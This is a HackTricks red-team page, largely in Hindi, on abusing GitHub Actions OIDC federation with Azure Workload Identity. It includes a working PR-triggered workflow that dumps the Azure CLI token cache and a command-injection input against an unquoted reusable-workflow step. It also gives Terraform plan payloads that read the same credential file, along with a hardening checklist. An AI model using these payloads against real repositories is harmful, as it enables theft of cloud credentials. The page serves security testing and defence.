Azure – Federation Abuse (GitHub Actions OIDC / Workload Identity)

Reading time: 9 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

अवलोकन

GitHub Actions OpenID Connect (OIDC) का उपयोग करके Azure Entra ID (formerly Azure AD) के साथ फ़ेडरेट कर सकता है। एक GitHub workflow एक short‑lived GitHub ID token (JWT) मांगता है जो रन के विवरण को encode करता है। Azure इस token को App Registration (service principal) पर मौजूद Federated Identity Credential (FIC) के खिलाफ validate करता है और इसे Azure access tokens (MSAL cache, bearer tokens for Azure APIs) के लिए exchange कर देता है।

Azure कम से कम निम्न का सत्यापन करता है:

  • iss: https://token.actions.githubusercontent.com
  • aud: api://AzureADTokenExchange (जब Azure tokens के लिए एक्सचेंज करते समय)
  • sub: configured FIC Subject identifier से मेल खाना चाहिए

डिफ़ॉल्ट GitHub aud एक GitHub URL हो सकता है। Azure के साथ एक्सचेंज करते समय, स्पष्ट रूप से audience=api://AzureADTokenExchange सेट करें।

GitHub ID token quick PoC

yaml
name: Print OIDC identity token
on: { workflow_dispatch: {} }
permissions:
id-token: write
jobs:
view-token:
runs-on: ubuntu-latest
steps:
- name: get-token
run: |
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL")
# Base64 avoid GitHub masking
echo "$OIDC_TOKEN" | base64 -w0

टोकन अनुरोध पर Azure audience को मजबूर करने के लिए:

bash
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange")

Azure setup (Workload Identity Federation)

  1. App Registration (service principal) बनाएँ और न्यूनतम अनुमतियाँ दें (उदा., किसी विशिष्ट storage account पर Storage Blob Data Contributor)।

  2. Federated identity credentials जोड़ें:

  • Issuer: https://token.actions.githubusercontent.com
  • Audience: api://AzureADTokenExchange
  • Subject identifier: लक्षित workflow/run context के अनुरूप कड़ाई से स्कोप करें (नीचे Scoping and risks देखें)।
  1. azure/login का उपयोग करके GitHub ID token एक्सचेंज करें और Azure CLI में साइन इन करें:
yaml
name: Deploy to Azure
on:
push: { branches: [main] }
permissions:
id-token: write
contents: read
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: Az CLI login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Upload file to Azure
run: |
az storage blob upload --data "test" -c hmm -n testblob \
--account-name sofiatest --auth-mode login

मैन्युअल एक्सचेंज का उदाहरण (Graph स्कोप दिखाया गया है; ARM या अन्य संसाधन समान रूप से):

http
POST /<TENANT-ID>/oauth2/v2.0/token HTTP/2
Host: login.microsoftonline.com
Content-Type: application/x-www-form-urlencoded

client_id=<app-client-id>&grant_type=client_credentials&
client_assertion=<GitHub-ID-token>&client_info=1&
client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer&
scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default

GitHub OIDC subject (sub) संरचना और कस्टमाइज़ेशन

डिफ़ॉल्ट sub प्रारूप: repo:/:

Context मानों में शामिल हैं:

  • environment:
  • pull_request (PR तब ट्रिगर होता है जब यह किसी environment में नहीं होता)
  • ref:refs/(heads|tags)/

payload में अक्सर मौजूद उपयोगी claims:

  • repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor

अतिरिक्त claims शामिल करने और टकराव का जोखिम कम करने के लिए GitHub API के माध्यम से sub संरचना को कस्टमाइज़ करें:

bash
gh api orgs/<org>/actions/oidc/customization/sub
gh api repos/<org>/<repo>/actions/oidc/customization/sub
# Example to include owner and visibility
gh api \
--method PUT \
repos/<org>/<repo>/actions/oidc/customization/sub \
-f use_default=false \
-f include_claim_keys='["repository_owner","repository_visibility"]'

नोट: environment नामों में कोलन URL‑encoded (%3A) होते हैं, जो पुराने delimiter‑injection ट्रिक्स को sub parsing के खिलाफ हटाते हैं। हालाँकि, non‑unique subjects (उदा., केवल environment:) का उपयोग अभी भी असुरक्षित है।

FIC subject प्रकारों का स्कोप और जोखिम

  • Branch/Tag: sub=repo:/:ref:refs/heads/ or ref:refs/tags/
  • जोखिम: अगर ब्रांच/टैग अप्रोटेक्टेड है, तो कोई भी contributor पुश करके टोकन प्राप्त कर सकता है।
  • Environment: sub=repo:/:environment:
  • जोखिम: अप्रोटेक्टेड environments (कोई reviewers नहीं) contributors को टोकन बनाने की अनुमति देते हैं।
  • Pull request: sub=repo:/:pull_request
  • सबसे अधिक जोखिम: कोई भी collaborator PR खोलकर FIC को पूरा कर सकता है।

PoC: PR‑triggered token चोरी (azure/login द्वारा लिखा गया Azure CLI cache को exfiltrate करना):

yaml
name: Steal tokens
on: pull_request
permissions:
id-token: write
contents: read
jobs:
extract-creds:
runs-on: ubuntu-latest
steps:
- name: azure login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Extract access token
run: |
# Azure CLI caches tokens here on Linux runners
cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0
# Decode twice locally to recover the bearer token

संबंधित फ़ाइल स्थान और नोट्स:

  • Linux/macOS: ~/.azure/msal_token_cache.json az CLI सत्रों के लिए MSAL टोकन रखता है
  • Windows: msal_token_cache.bin user profile के अंतर्गत; DPAPI‑protected

Reusable workflows and job_workflow_ref scoping

एक reusable workflow को कॉल करने से GitHub ID token में job_workflow_ref जुड़ जाता है, उदा.:

ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main

FIC उदाहरण: caller repo और reusable workflow दोनों को बाइंड करने के लिए:

sub=repo:<org>/<repo>:job_workflow_ref:<org>/<reusable-repo>/.github/workflows/<file>@<ref>

caller repo में claims कॉन्फ़िगर करें ताकि repo और job_workflow_ref दोनों sub: में मौजूद हों

http
PUT /repos/<org>/<repo>/actions/oidc/customization/sub HTTP/2
Host: api.github.com
Authorization: token <access token>

{"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]}

चेतावनी: यदि आप FIC में केवल job_workflow_ref को bind करते हैं, तो एक attacker उसी org में एक अलग repo बना सकता है, उसी ref पर वही reusable workflow चला सकता है, FIC को satisfy कर सकता है, और tokens mint कर सकता है। हमेशा caller repo भी शामिल करें।

job_workflow_ref protections को बाइपास करने वाले कोड निष्पादन वेक्टर

सही तरीके से scoped job_workflow_ref होने के बावजूद, कोई भी caller‑controlled डेटा जो सुरक्षित quoting के बिना shell तक पहुँचता है, protected workflow context के अंदर कोड निष्पादन का कारण बन सकता है।

उदाहरण: कमजोर reusable step (unquoted interpolation):

yaml
- name: Example Security Check
run: |
echo "Checking file contents"
if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then
echo "Malicious content detected!"; exit 1
else
echo "File contents are safe."
fi

कमांड निष्पादित करने और Azure token cache को exfiltrate करने के लिए दुर्भावनापूर्ण कॉलर इनपुट:

yaml
with:
file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a'

PRs में execution primitive के रूप में Terraform plan

Terraform plan को कोड निष्पादन के रूप में मानें। plan के दौरान, Terraform कर सकता है:

  • file() जैसे functions के माध्यम से किसी भी फ़ाइल को पढ़ सकता है
  • external data source के माध्यम से commands execute कर सकता है

Example to exfiltrate Azure token cache during plan:

hcl
output "msal_token_cache" {
value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json")))
}

या arbitrary commands चलाने के लिए external का उपयोग करें:

hcl
data "external" "exfil" {
program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"]
}

Granting FICs usable on PR‑triggered plans exposes privileged tokens and can tee up destructive apply later. Separate identities for plan vs apply; never allow privileged tokens in untrusted PR contexts.

हार्डनिंग चेकलिस्ट

  • सेंसिटिव FICs के लिए कभी sub=...:pull_request का उपयोग न करें
  • किसी भी branch/tag/environment की रक्षा करें जो FICs द्वारा संदर्भित हो (branch protection, environment reviewers)
  • reusable workflows के लिए repo और job_workflow_ref दोनों पर scoped FICs को प्राथमिकता दें
  • GitHub OIDC sub को कस्टमाइज़ करें ताकि इसमें unique claims शामिल हों (e.g., repo, job_workflow_ref, repository_owner)
  • caller inputs का unquoted interpolation run steps में न होने दें; encode/quote सुरक्षित तरीके से करें
  • terraform plan को code execution की तरह मानें; PR contexts में identities को प्रतिबंधित या अलग करें
  • App Registrations पर least privilege लागू करें; plan और apply के लिए अलग identities रखें
  • actions और reusable workflows को commit SHAs पर pin करें (branch/tag pins से बचें)

मैनुअल टेस्टिंग टिप्स

  • इन‑वर्कफ्लो में GitHub ID token का अनुरोध करें और masking से बचने के लिए इसे base64 में प्रिंट करें
  • JWT को decode करके claims जांचें: iss, aud, sub, job_workflow_ref, repository, ref
  • मैन्युअली ID token को login.microsoftonline.com के खिलाफ एक्सचेंज करके FIC matching और scopes की पुष्टि करें
  • azure/login के बाद ~/.azure/msal_token_cache.json पढ़ें ताकि token material की उपस्थिति सत्यापित की जा सके

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें